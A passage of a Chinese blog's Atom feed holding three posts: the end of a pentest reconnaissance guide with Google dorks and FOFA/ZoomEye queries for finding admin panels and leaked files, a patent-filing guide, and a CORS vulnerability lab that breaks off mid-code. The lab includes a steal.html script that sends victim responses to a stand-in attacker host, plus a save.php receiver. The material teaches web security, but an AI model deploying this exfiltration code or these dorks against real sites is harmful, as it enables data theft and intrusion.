title="备份文件泄露扫描工具"></a>备份文件泄露扫描工具</h4><p>常见扫描工具有：</p><ul><li><strong>Test404网站备份文件扫描器 v2.0</strong>(win)</li><li><strong>ihoneyBakFileScan</strong>(python)<br>  ihoneyBakFileScan v0.2 多进程批量网站备份文件泄露扫描工具，根据域名自动生成相关扫描字典，自动记录扫描成功的备份地址到文件</li></ul><p>地址：<a href="https://github.com/sry309/ihoneyBakFileScan" target="_blank" rel="external">https://github.com/sry309/ihoneyBakFileScan</a></p><h1 id="8-搜索引擎-amp-情报社区"><a href="#8-搜索引擎-amp-情报社区" class="headerlink" title="8.搜索引擎&amp;情报社区"></a>8.搜索引擎&amp;情报社区</h1><h2 id="8-1GoogleHacking常用语法"><a href="#8-1GoogleHacking常用语法" class="headerlink" title="8.1GoogleHacking常用语法"></a>8.1GoogleHacking常用语法</h2><ol><li><code>intitle</code> 搜索网页标题中包含有特定字符的网页。<br>   例如<code>intitle: cbi</code>，这样网页标题中带有cbi的网页都会被搜索出来</li><li><code>inurl</code> 搜索包含有特定字符的URL。<br>   例如<code>inurl:cbi</code>，则可以找到带有cbi字符的URL</li><li><code>intext</code> 搜索网页正文内容中的指定字符。<br>   例如<code>intext:pdf</code>。这个语法类似我们平时在某些网站中使用的“文章内容搜索”功能</li><li><code>Site</code> 找到与指定网站有联系的URL。<br>   例如<code>Site:www.58.com</code>。所有和这个网站有联系的URL都会被显示</li><li>减号<code>-</code> 要求搜索结果中不含特定查询词<br>   例如<code>intitle:小说 - 电视剧</code> 只会搜到小说而不会出现电视剧</li><li><code>domain</code> 查找跟某网站相关的信息<br>   例如<code>domain:www.google.com</code>查询在网站内容里面包含<code>www.google.com</code>的信息的网站</li><li><code>filetype</code> 限制查找文件的格式内容<br>   <code>关键字+filetype:文件格式</code>,例如<code>电脑 + filetype:ppt</code></li><li>双引号,书名号,中括号 精确匹配,缩小搜索范围<br>   如果输入的关键字很长，在经过搜索引擎分析后，给出的搜索结果中的关键字，可能是拆分的。</li></ol><p>对这搜索结果不满意我们可以加上 双引号(“”) 和 中括号( [] )就可以不被拆分<br>   例如 “中国黑客协会” [中国黑客协会]</p><ol><li>书名号<code>《》</code><br>   是百度独有的一个特殊查询语法。</li></ol><p>书名号出现在搜索结果中，书名号括起来的内容不会被拆分<br>   书名号在某些情况(如查找常用的电影或小说)下特别有效<br>   例如 “《社交网络》”</p><h4 id="基础操作符"><a href="#基础操作符" class="headerlink" title="基础操作符"></a>基础操作符</h4><ul><li>逻辑与：and</li><li>逻辑或： or 、|</li><li>逻辑非： -</li><li>完整匹配：”关键词”</li><li>通配符：* ?</li></ul><h4 id="GoogleHacking其他语法"><a href="#GoogleHacking其他语法" class="headerlink" title="GoogleHacking其他语法"></a>GoogleHacking其他语法</h4><p>1、引号 ‘’ “ 把关键字打上引号后，把引号部分作为整体来搜索</p><p>2、or 同时搜索两个或更多的关键字</p><p>3、link 搜索某个网站的链接 link:baidu.com即返回所有和baidu做了链接的URL</p><p>4、info 查找指定站点的一些基本信息</p><h4 id="GoogleHackingDatabase"><a href="#GoogleHackingDatabase" class="headerlink" title="GoogleHackingDatabase"></a>GoogleHackingDatabase</h4><ul><li><a href="https://www.exploit-db.com/google-hacking-database" target="_blank" rel="external">google-hacking-database</a></li></ul><h4 id="GoogleHacking典型用法"><a href="#GoogleHacking典型用法" class="headerlink" title="GoogleHacking典型用法"></a>GoogleHacking典型用法</h4><ul><li>管理后台地址</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">site:target.com intext:管理 | 后台 | 后台管理 | 登陆 | 登录 | 用户名 | 密码 | 系统 | 账号 | login | system</div><div class="line">site:target.com inurl:login | inurl:admin | inurl:manage | inurl:manager | inurl:admin_login | inurl:system | inurl:backend</div><div class="line">site:target.com intitle:管理 | 后台 | 后台管理 | 登陆 | 登录</div></pre></td></tr></table></figure><ul><li>上传类漏洞地址</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">site:target.com inurl:file</div><div class="line">site:target.com inurl:upload</div></pre></td></tr></table></figure><ul><li>注入页面</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">site:target.com inurl:php?id=</div></pre></td></tr></table></figure><ul><li>编辑器页面</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">site:target.com inurl:ewebeditor</div></pre></td></tr></table></figure><ul><li>目录遍历漏洞</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">site:target.com intitle:index.of</div></pre></td></tr></table></figure><ul><li>SQL错误</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">site:target.com intext:&quot;sql syntax near&quot; | intext:&quot;syntax error has occurred&quot; | intext:&quot;incorrect syntax near&quot; | intext:&quot;unexpected end of SQL command&quot; | intext:&quot;Warning: mysql_connect()&quot; | intext:”Warning: mysql_query()&quot; | intext:”Warning: pg_connect()&quot;</div></pre></td></tr></table></figure><ul><li>phpinfo()</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">site:target.com ext:php intitle:phpinfo &quot;published by the PHP Group&quot;</div></pre></td></tr></table></figure><ul><li>配置文件泄露</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">site:target.com ext: .xml | .conf | .cnf | .reg | .inf | .rdp | .cfg | .txt | .ora | .ini</div></pre></td></tr></table></figure><ul><li>数据库文件泄露</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">site:target.com ext: .sql | .dbf | .mdb | .db</div></pre></td></tr></table></figure><ul><li>日志文件泄露</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">site:target.com ext: .log</div></pre></td></tr></table></figure><ul><li>备份和历史文件泄露</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">site:target.com ext: .bkf | .bkp | .old | .backup | .bak | .swp | .rar | .txt | .zip | .7z | .sql | .tar.gz | .tgz | .tar</div></pre></td></tr></table></figure><ul><li>公开文件泄露</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">site:target.com filetype: .doc | .docx | .xls | .xlsx | .ppt | .pptx | .odt | .pdf | .rtf | .sxw | .psw | .csv</div></pre></td></tr></table></figure><ul><li>邮箱信息</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">site:target.com intext:@target.com</div><div class="line">site:target.com 邮件</div><div class="line">site:target.com email</div></pre></td></tr></table></figure><ul><li>社工信息</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">site:target.com intitle:账号 | 密码 | 工号 | 学号 | 身份证</div></pre></td></tr></table></figure><h2 id="8-2黑暗搜索"><a href="#8-2黑暗搜索" class="headerlink" title="8.2黑暗搜索"></a>8.2黑暗搜索</h2><p><strong>奇安信</strong>：<a href="https://hunter.qianxin.com/home/" target="_blank" rel="external">https://hunter.qianxin.com/home/</a></p><p><strong>FOFA</strong></p><ul><li><a href="https://fofa.so/" target="_blank" rel="external">fofa.so</a><br>  官方详细文档; <a href="https://fofa.so/help" target="_blank" rel="external">https://fofa.so/help</a></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line">domain=&quot;baidu.com&quot;</div><div class="line">domain=&quot;&quot;||ip=&quot;&quot;||host=&quot;&quot;||title=&quot;&quot;||header=&quot;&quot;</div><div class="line">protocol=“https”        #搜索指定协议类型</div><div class="line">app=&quot;phpinfo&quot;            #搜索某些组件相关系统</div><div class="line">host=&quot;oldboyedu.com/&quot;    #搜索包含有特定字符的URL</div><div class="line">title=“powered by” &amp;&amp; os==windows    #搜索网页标题中包含有特定字符并且系统是windows的网页</div></pre></td></tr></table></figure><p><strong>钟馗之眼</strong></p><p>钟馗之眼： <a href="https://www.zoomeye.org/" target="_blank" rel="external">https://www.zoomeye.org/</a></p><p>语法举例：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div></pre></td><td class="code"><pre><div class="line">#例1：搜索使用iis6.0主机：</div><div class="line">app:&quot;Microsoft-IIS&quot; ver&quot;6.0&quot;</div><div class="line"></div><div class="line">#例2：搜索使weblogic主机：</div><div class="line">app:&quot;weblogic httpd&quot; port:7001</div><div class="line"></div><div class="line">#例3：查询开放3389端口的主机：</div><div class="line">port:3389</div><div class="line"></div><div class="line">#例4：查询操作系统为Linux系统的服务器:</div><div class="line">os:linux</div><div class="line"></div><div class="line">#例5：查询公网摄像头：</div><div class="line">service:”routersetup”</div><div class="line"></div><div class="line">#例6：搜索美国的 Apache 服务器：</div><div class="line">app:Apache country:US</div><div class="line"></div><div class="line">#例7：搜索指定ip信息，</div><div class="line">ip:121.42.173.26</div><div class="line"></div><div class="line">#例8：查询有关taobao.com域名的信息，</div><div class="line">site:taobao.com</div><div class="line"></div><div class="line">#例9：搜索标题中包含该字符的网站，</div><div class="line">title:weblogic</div></pre></td></tr></table></figure><h2 id="8-3威胁情报"><a href="#8-3威胁情报" class="headerlink" title="8.3威胁情报"></a>8.3威胁情报</h2><p>微步在线：<a href="https://x.threatbook.cn/" target="_blank" rel="external">https://x.threatbook.cn/</a></p><p>华为安全情报： <a href="https://isecurity.huawei.com/" target="_blank" rel="external">https://isecurity.huawei.com</a></p><p>360威胁情报中心：<a href="https://ti.360.cn/" target="_blank" rel="external">https://ti.360.cn/</a></p><p>奇安信：<a href="https://ti.qianxin.com/" target="_blank" rel="external">https://ti.qianxin.com/</a></p><p>VenusEye威胁情报中心：<a href="https://www.venuseye.com.cn/" target="_blank" rel="external">https://www.venuseye.com.cn/</a></p><h2 id="作者：770"><a href="#作者：770" class="headerlink" title="作者：770"></a>作者：770</h2>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;信息收集对于渗透测试前期来说是非常重要哒！！！信息收集得够全面，后面的工作就更轻松，最近整理了关于信息收集流程，收集内容以及常用网站、工具，希望对大家有帮助~有需要补充的地方欢迎留言！！！&lt;/p&gt;
    
    </summary>
    
    
      <category term="渗透" scheme="http://yoursite.com/tags/%E6%B8%97%E9%80%8F/"/>
    
      <category term="内网" scheme="http://yoursite.com/tags/%E5%86%85%E7%BD%91/"/>
    
  </entry>
  
  <entry>
    <title>国家专利申请从入门到放弃</title>
    <link href="http://yoursite.com/2019/11/06/zhuanli/"/>
    <id>http://yoursite.com/2019/11/06/zhuanli/</id>
    <published>2019-11-06T03:39:32.000Z</published>
    <updated>2019-11-06T13:55:07.249Z</updated>
    
    <content type="html"><![CDATA[<p>今年的第二篇博客姗姗来迟，一个是实在太忙了，另一个是我实在太懒了，不过前端时间小白兔收到了一个好消息，去年5月我申请的专利终于通过了，历经了1年半，终于修成了正果。然而随着部门申请的专利陆陆续续的返回，通过率简直惨不忍睹。这篇博客记录了我从申请专利到拿到证书的全过程，分享一些经验与教训，希望对将来要申请专利的朋友提供一些帮助。</p><a id="more"></a><hr><h1 id="最初的准备"><a href="#最初的准备" class="headerlink" title="最初的准备"></a>最初的准备</h1><h2 id="虚拟机（建议）"><a href="#虚拟机（建议）" class="headerlink" title="虚拟机（建议）"></a>虚拟机（建议）</h2><p>专利需要在指定的软件CPC中进行编写，导入和导出，包括后续的专利通知书查阅，回复，补正等等。令人头疼的是，CPC软件并不支持Window 10，只支持Windows XP，Win7，Win8操作系统。所以无论是Linux系统还是Mac系统都必须安装虚拟机才行。而实际上，经我亲身测试，Win7的兼容性其实也不太好，Window XP目前是最舒服的（推荐）。</p><h2 id="CPC客户端软件"><a href="#CPC客户端软件" class="headerlink" title="CPC客户端软件"></a>CPC客户端软件</h2><p>上面说了，CPC客户端软件是专门用以编辑国家专利的软件程序，包括后续专利的一系列操作。贴一下CPC客户端下载链接：<a href="http://cponline.sipo.gov.cn/tooldown/865.jhtml" target="_blank" rel="external">CPC客户端</a>。安装的过程并没有什么难度，按顺序执行即可。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zhuanli/zhuanli-1.png" alt="zhuanli-1"></p><h2 id="CPC离线升级包"><a href="#CPC离线升级包" class="headerlink" title="CPC离线升级包"></a>CPC离线升级包</h2><p>CPC的客户端安装软件从2012年2月发布起就再也没有更新过了，一直都是使用离线升级包的方式来维护。这是非常重要的，因为原始CPC很多配置都已经无法跟上需求，所以必须使用离线升级过后才能正常使用。贴一下最新的升级包下载链接：<a href="http://cponline.sipo.gov.cn/tooldown/4936.jhtml" target="_blank" rel="external">CPC客户端离线升级包</a>。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zhuanli/zhuanli-2.png" alt="zhuanli-2"></p><h2 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h2><ul><li>Microsoft Office 2003/2007/2010。</li><li>IE 7.0/8.0</li><li>不能安装Office2007/2010的兼容包以及WPS</li></ul><h1 id="编写专利"><a href="#编写专利" class="headerlink" title="编写专利"></a>编写专利</h1><p>##发明专利请求书</p><p>这个文件用以提交本次发明的所有相关信息，包括：</p><ul><li>发明名称</li><li>申请人</li><li>发明人（第一发明人，第二发明人， …. ）</li><li>联系人</li><li>英文信息</li><li>其他</li></ul><h2 id="说明书摘要"><a href="#说明书摘要" class="headerlink" title="说明书摘要"></a>说明书摘要</h2><p>有点像论文的摘要，需要高度概括自己的发明专利的具体内容。大致写作思路可参考如下：</p><pre><code>本发明是____，其____, 可用于____领域和____领域。本发明的技术核心是____。该技术的工作流程为____。本发发明主要针对____问题，做出了____贡献。</code></pre><h2 id="说明书"><a href="#说明书" class="headerlink" title="说明书"></a>说明书</h2><p>说明书中包含了对专利具体内容的表述，必须清晰且详细，且主要包含以下内容：</p><ol><li><p>技术领域<br>说明发明说设计的技术领域和技术核心思路。</p></li><li><p>技术背景<br>解释说明本发明是在什么样的背景下提出的，是为了解决哪些问题。</p></li><li><p>附图说明<br>简要说明每个附图的内容。</p></li><li><p>具体实施方式<br>详细得说明专利的具体内容，如何部署，实施，实现（结合附图）。</p></li></ol><p>5.写作须知<br>专利审查是十分严格的，基本不能有错别字，标点符号的错误。因此在写作结束后，一定要仔细检查语句的通顺，错别字，标点符号以及分段。如果说明书中需要插入公式，可以在外部的office中编辑好再复制进来，或直接保存成图片插入。</p><h2 id="说明书附图"><a href="#说明书附图" class="headerlink" title="说明书附图"></a>说明书附图</h2><p>说明书中所需要的附图都保存在这里，采用的是导入的方式。如果遇到导入图片失败，请检查图片大小必须小于165mm*245mm。如果仍然报错，再次离线升级客户端尝试导入。如果还报错，可以尝试大招：在Window下用画图工具打开图片，然后另存为新图片就可以导入了，或者保存为pdf，再转回图片。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zhuanli/zhuanli-3.png" alt="zhuanli-3"></p><h2 id="权利要求书"><a href="#权利要求书" class="headerlink" title="权利要求书"></a>权利要求书</h2><p>权利要求书是整个专利最重要的一块，也是审查员重点审核的文件，里面记载整份专利需要受保护的权利。因此权利要求书的内容必须清楚，详细，不能出现模糊，模棱两可的表达。通常而言，权利要求书的权利1高度概括需要保护的权利，然后在后面的权利要求中扩展描述：</p><pre><code>1. 一种基于机器学习的XXXXXX方法A、XXXXB、XXXXC、XXXX2. 根据权利要求1中步骤A所述的XXXXX，其特征在于：A1、XXXXA2、XXXXA3、XXXX</code></pre><h1 id="受理阶段"><a href="#受理阶段" class="headerlink" title="受理阶段"></a>受理阶段</h1><p>在完成整份专利的编写后，通过CPC软件导出压缩包，然后提交自己的专利。在完成提交后，会收到一份来自国家知识产权局的 “受理通知书”，这意味的你的专利已经成功提交，并进入受理阶段。如果受理阶段没有问题，那么专利就会被送至实审，进入实审流程。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zhuanli/zhuanli-5.png" alt="zhuanli-4"></p><p>受理阶段审查的是专利的格式和标准，一般不涉及专利的具体内容。如果你的专利在受理阶段收到“补正通知书”，这说明你的提交的专利格式或标准出现问题，需要修改并提交补正文件。我曾接收到的问题如下：</p><ul><li>说明书中附图说明不完整，需要逐一说明</li><li>说明书摘要文字部分超过300个字</li><li>权利要求书编号重复</li><li>说明书和权利要求书公式下标不清晰</li><li>说明书标题和专利名不一致</li><li>说明书中大小写不一致<br>…</li></ul><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zhuanli/zhuanli-4.png" alt="zhuanli-5"></p><p>在补正时，需要把通知书导入CPC客户端，在“通知书”里选中然后点击补正。补正材料包括补正书和修改后替代页。完成补正后，在中间文件选中然后导出，然后把补正答复提交给专利局。如果还是存在问题，则会收到第二次、第三次补正通知，这样本来就漫长的专利周期就会被拉得更长，所以在第一次补正通知时就认真修改吧。</p><h1 id="实审阶段"><a href="#实审阶段" class="headerlink" title="实审阶段"></a>实审阶段</h1><p>专利通过受理审查后，就会送至实审，这时你会收到一份“实审通知书”，当然你也可以在<a href="http://www.soopat.com" target="_blank" rel="external">soopat</a>上查询自己的专利是否处于实审状态。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zhuanli/zhuanli-6.png" alt="zhuanli-6"></p><p>实审阶段十分漫长，往往需要1-2年才会返回结果。在实审状态中，如果收到了“第一次审查意见通知书”，说明专利内容存在问题，需要修改。目前绝大部分专利都卡死在这里，第一次审查意见会有两种情况：</p><ol><li>目前<strong>文本</strong>暂时不能被授予专利权</li><li>不具备创新性，新颖性，没有被授予专利的实质内容，不具备授予专利的前景</li></ol><p>如果返回的是第一种，说明很有希望通过！只要按照审查意见的内容，进行修改和提交，就很有希望拿到专利权。回复审查意见的操作和补正相似，把第一次审查意见通知书导入CPC软件，在通知书中选中进行答复，需要的材料包括：修改对照页，替换页，意见陈述书。完成修改后，在中间文件选中并导出，然后提交给专利局。<br>如果返回的通知书中包含第二种字眼，那么基本上就凉了，但你也可以修改，或者直接怼审查员，万一成功了，对吧？</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zhuanli/zhuanli-7.png" alt="zhuanli-7"></p><p>目前我整理的关于专利实审通知的理由如下：</p><ul><li>发明内容已经发表成论文（无论中、英）</li><li>发明内容和其他论文高度相似（在实审返回的文件中可以查看）</li><li>权利要求书内容和说明书内容矛盾</li><li>权利要求书中表述含糊，模糊，使保护范围不明确</li><li>标题不当，不能使用“技术，模型”，要用“方法，系统”<br>……</li></ul><h1 id="授权阶段"><a href="#授权阶段" class="headerlink" title="授权阶段"></a>授权阶段</h1><p>如果你的专利最终通过实审，那么就会收到来自专利局的两份通知书：授权通知书，缴费通知书。这说明的专利已经进入授权阶段，只要按时（3个月内）缴费，专利就能完成授权，寄发专利证书。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zhuanli/zhuanli-8.png" alt="zhuanli-8"></p><p>缴费可以直接网上缴费，也可以去当地代办点缴费。如果是第二种，你首先需要上网填写和打印“专利缴费信息网上补充”，然后去代办点缴费。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zhuanli/zhuanli-9.png" alt="zhuanli-9"></p><p>缴费成功后，你就可以安心等着专利证书寄过来啦（然而我至今还没等到）。</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>血的教训，一定要先申请专利，再发论文，不然死亡率接近百分百。专利对于一个人的荣誉加成是很高的，希望大家都能申请成功，奥利给！</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;今年的第二篇博客姗姗来迟，一个是实在太忙了，另一个是我实在太懒了，不过前端时间小白兔收到了一个好消息，去年5月我申请的专利终于通过了，历经了1年半，终于修成了正果。然而随着部门申请的专利陆陆续续的返回，通过率简直惨不忍睹。这篇博客记录了我从申请专利到拿到证书的全过程，分享一些经验与教训，希望对将来要申请专利的朋友提供一些帮助。&lt;/p&gt;
    
    </summary>
    
    
      <category term="专利" scheme="http://yoursite.com/tags/%E4%B8%93%E5%88%A9/"/>
    
      <category term="CPC" scheme="http://yoursite.com/tags/CPC/"/>
    
  </entry>
  
  <entry>
    <title>CORS跨域资源共享原理与漏洞</title>
    <link href="http://yoursite.com/2019/03/02/cors/"/>
    <id>http://yoursite.com/2019/03/02/cors/</id>
    <published>2019-03-02T03:39:32.000Z</published>
    <updated>2019-03-04T04:00:07.541Z</updated>
    
    <content type="html"><![CDATA[<p>过完年回来，我闲来无事逛了逛技术论坛，碰巧看到了对CORS漏洞的描述，顿时感兴趣起来。查了一些资料，也动手做了一些实践测试，解决了一些疑惑，这里整理成一篇博客供大家学习浏览。</p><a id="more"></a><hr><h1 id="一切从同源策略说起"><a href="#一切从同源策略说起" class="headerlink" title="一切从同源策略说起"></a>一切从同源策略说起</h1><h2 id="同源策略"><a href="#同源策略" class="headerlink" title="同源策略"></a>同源策略</h2><p>如果对浏览器有了解的朋友应该听过”同源策略(SOP)”。对于浏览器来说，这是一个十分重要的策略，甚至可以称得上浏览器安全的基础。</p><p>同源策略的定义为：不同域的客户端脚本在没有明确授权的情况下，不能读写对方的资源。当域名、端口和协议相同时，两个客户端才会被判断为同源。这个策略实际上完成了不同会话之间的隔离。</p><p>我们可以试想一下，如果你登录一个合法网站，然后又访问了一个恶意网站，若是没有同源策略，那么恶意网站可以随意操作合法网站上你的资源和数据。</p><h2 id="跨域"><a href="#跨域" class="headerlink" title="跨域"></a>跨域</h2><p>总的来说，同源策略是一个很好的策略，能在很大程度上保证我们用户的安全。但是这已经是20年前提出的策略了，随着Web应用的不断发展，如今遇到了许多需要跨域访问资源的情况。这些场景大概如下：</p><ul><li>前后端分离的开发</li><li>本地资源却在不同域的情况</li><li>调用关联第三方平台，如电商调用快递信息</li><li>子站调用主站资源信息</li></ul><p>因此，即使浏览器的同源策略不变，我们依旧希望找到一些办法来实现跨域。</p><h1 id="CORS-跨域资源共享"><a href="#CORS-跨域资源共享" class="headerlink" title="CORS(跨域资源共享)"></a>CORS(跨域资源共享)</h1><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>CORS，跨域资源共享（Cross-origin resource sharing），是H5提供的一种机制，WEB应用程序可以通过在HTTP增加字段来告诉浏览器，哪些不同来源的服务器是有权访问本站资源的，当不同域的请求发生时，就出现了跨域的现象。</p><p>简单来说，CORS是一种特例机制，可以在全局同源策略下开一个后门，允许特定的网站通过。</p><h2 id="实验测试"><a href="#实验测试" class="headerlink" title="实验测试"></a>实验测试</h2><p>为了加深对CORS机制的理解，我设置了两个服务器，服务器A是合法服务器，服务器B为恶意服务器。而为了便于读者理解，我在hosts中进行了配置：</p><pre><code>47.xxx.xxx.xxx www.legal.com165.xxx.xxx.xxx www.malious.com</code></pre><p>其中，域名legal为合法网站，域名malious为恶意网站。</p><h3 id="不带Cookie的跨域访问"><a href="#不带Cookie的跨域访问" class="headerlink" title="不带Cookie的跨域访问"></a>不带Cookie的跨域访问</h3><p>第一种情况是不带Cookie时对的访问，在legal中放置返回secret.php，其中返回phpinfo:</p><pre><code>&lt;?php    phpinfo();?&gt;</code></pre><p>直接访问<code>www.legal.com/secret.php</code>会直接显示：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cors/cors-1.png" alt="cors-1"></p><p>然后，在malious中放置恶意页面steal.html，在用户访问时恶意去请求secret.php的内容:</p><pre><code>&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;head&gt;&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;&lt;/head&gt;&lt;h1&gt;Hello I malious page. &lt;/h1&gt;&lt;script type=&quot;text/javascript&quot;&gt;function loadXMLDoc(){   var xhr1;   var xhr2;   if(window.XMLHttpRequest)   {       xhr1 = new XMLHttpRequest();       xhr2 = new XMLHttpRequest();   }   else   {       xhr1 = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);       xhr2= new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);   }   xhr1.onreadystatechange=function()   {       if(xhr1.readyState == 4 &amp;&amp; xhr1.status == 200) //if receive xhr1 response       {           var datas=xhr1.responseText;           xhr2.open(&quot;POST&quot;,&quot;http://www.malious/save.php&quot;,&quot;true&quot;);           xhr2.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);           xhr2.send(&quot;T1=&quot;+escape(datas));             }   }   xhr1.open(&quot;GET&quot;,&quot;http://www.legal.com/secret.php&quot;,&quot;true&quot;) //request user page.   xhr1.withCredentials = true;        //request with cookie   xhr1.send();}loadXMLDoc();&lt;/script&gt;&lt;/html&gt;</code></pre><p>上述代码的逻辑是这样的：一旦用户访问了这个页面，那么页面上的JavaScript脚本就会执行，去访问<code>www.legal.com/secret.php</code>的内容，并将访问的内容保存在本地。好，现在我们直接去访问恶意网站(www.malious.com/steal.html)，返回结果：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cors/cors-2.png" alt="cors-2"></p><p>可以看到，我们的请求被拦截了，我们的JavaScript脚本并没有执行成功，本地也没有生成保存的文件。我们可以从图中清晰地看出原因：同源策略，不允许跨域请求。</p><p>但是，当我们去查看网络中的数据包时，却可以发现返回状态是200，而且是有返回内容的：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cors/cors-3.png" alt="cors-3"></p><p>所以我们可以推测出，JavaScript是成功执行了的，请求到达legal服务器，并且成功获得了响应内容。所以拦截方是浏览器，虽然有响应内容，但同源策略将其丢弃。我们可以结合下图进行理解：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cors/cors-4.png" alt="cors-4"></p><p>那么CORS是怎么产生的呢？当我们修改legal服务器中的配置时：</p><pre><code>&lt;?php    header(&quot;Access-Control-Allow-Origin:http://www.malious.com&quot;);     phpinfo();?&gt;</code></pre><p>我们再次访问恶意网站(www.malious.com/steal.html)，返回结果：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cors/cors-5.png" alt="cors-5"></p><p>可以看到，没有出现任何提示信息，因此返回的内容没有被拦截。</p><p>分析一下原因，我们在原legal服务器中配置<code>header(&quot;Access-Control-Allow-Origin:http://www.malious.com&quot;)</code>，这段代码等于设置了一个白名单，允许malious.com域进行跨域访问。这时，在legal服务器得到一个资源访问请求时，会进行检测，如果来源是malious.com域，那么在返回资源的响应包中会加上<code>Access-Control-Allow-Origin:http://www.malious.com</code>，这样浏览器将不再拦截跨域的情况：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cors/cors-8.png" alt="cors-7"></p><p>整个跨域流程大概如下图所示：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cors/cors-9.png" alt="cors-8"></p><h3 id="带Cookie的跨域访问"><a href="#带Cookie的跨域访问" class="headerlink" title="带Cookie的跨域访问"></a>带Cookie的跨域访问</h3><p>上述的跨域是最基础的情况，但是一般而言，恶意网站进行跨域请求时为了获取一些敏感信息，比如用户的Cookie。在用户带Cookie进行跨域时，情况与不带Cookie时不太相同。</p><p>我们设置一个页面(login.php)来设置Cookie：</p><pre><code>&lt;?php    setcookie(&quot;SESSIONid&quot;,&quot;THISISSESSID20180802&quot;,time()+3600,&quot;&quot;,&quot;&quot;,0);  //设置普通Cookie     setcookie(&quot;test_http&quot;,&quot;THISISSESSIDhttponly20180802&quot;,time()+3600,&quot;&quot;,&quot;&quot;,0,1);//设置Http Only Cookie     ?&gt;</code></pre><p>我们先去访问这个页面，再去访问www.legal.com/secret.php时，可以看到我们已经设置上了Cookie：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cors/cors-10.png" alt="cors-9"></p><p>然后我们在malious服务器上放置一个保存响应信息的页面(save.php):</p><pre><code>&lt;?php    $myfile = fopen(&quot;secret.html&quot;, &quot;w+&quot;) or die(&quot;Unable to open file!&quot;);    $txt = $_POST[&apos;T1&apos;];    fwrite($myfile, $txt);    fclose($myfile);?&gt;</code></pre><p>这样一来，如果跨域成功，那么携带用户Cookie的phpinfo信息就会保存在本地secret.html中。</p><p>但是，当我们再次访问www.malious.com/steal.html时，却发现响应包再次被拦截：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cors/cors-7.png" alt="cors-9"></p><p>这是因为，如果用户是在携带Cookie的情况下进行跨域请求，那么浏览器将会检测是否在服务器上允许了带Cookie跨域。</p><p>因此我们在legal服务器上修改配置，允许带Cookie跨域：</p><pre><code>&lt;?php    header(&quot;Access-Control-Allow-Origin:http://www.malious.com&quot;);     header(&quot;Access-Control-Allow-Credentials:true&quot;);     